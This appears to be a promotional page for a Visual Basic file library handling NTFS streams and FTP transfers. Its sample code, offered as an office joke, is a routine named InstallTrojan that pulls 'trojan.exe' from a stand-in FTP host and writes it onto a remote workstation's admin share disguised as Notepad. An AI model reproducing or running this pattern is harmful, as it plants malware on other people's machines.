I searched everywhere for a Win32 file library that had a rich interface, was abstract and extensible, and without compromising on performance. Such a library would provide high-level support for such things as one-to-many asynchronous file transfers in mixed environments, without skimping on support for file-system specific features. Yeah right! Enter the KillerVB FileSystemLib.

As featured in the January 2002 Visual Studio Magazine, Add File Replication to Your App. The FileSystemLib COMponent is the product of that article, and is the most powerful Win32 file library on the Net to support both disk-based and FTP-based I/O. While nothing I have seen compares to it, it does share some of the good qualities of the Scripting Runtime's FileSystemObject (FSO) that you may have gotten used to.

NTFS Streams & Security Objects

Included are the BackupStreamReader and BackupStreamWriter classes for reading and writing NTFS streams, including permissions, auditing and ownership objects. Asynchronous I/O is also supported. BackupStreamReader and BackupStreamWriter also encapsulate non-NTFS I/O such as FAT and FTP, allowing you to have mixed protocols and file systems and still support NTFS streams and security objects.

' Haven't you ever wanted to do this to someone in your office ;>
Sub InstallTrojan() 

  Dim Reader As BackupStreamReader
  Dim Writer As BackupStreamWriter
  
  ' This example opens a trojan horse
  ' and copies to a remote workstation ;>
  Set Reader = OpenBackupStreamReader( _
    "ftp://myzombie.biz/trojan.exe", OpenExisting, AccessRead)
  
  Set Writer = OpenBackupStreamWriter( _
    "\\remote_comp\c$\winnt\notpad.exe", Truncate, AccessWrite)
  
  CopyFile Reader, Writer
  
End Sub

Sub CopyFile(Reader As BackupStreamReader, Writer As BackupStreamWriter)

  ' This is a _generic_ file copy that supports
  ' extended streams and security objects, but
  ' only if the source and destination support
  ' them -- the library does all the hard work!
  Do
      If Reader.StreamType <> StreamData Then
        If Not Writer.SupportsMultiStreams Then
            GoTo NextStream
        End If
      End If
      Do While Reader.BufferContentLength > 0
        Writer.WriteStream Reader
        Reader.ReadStream
      Loop
NextStream:
      ' Update progress bar here
  Loop While Reader.GetNextStream

End Sub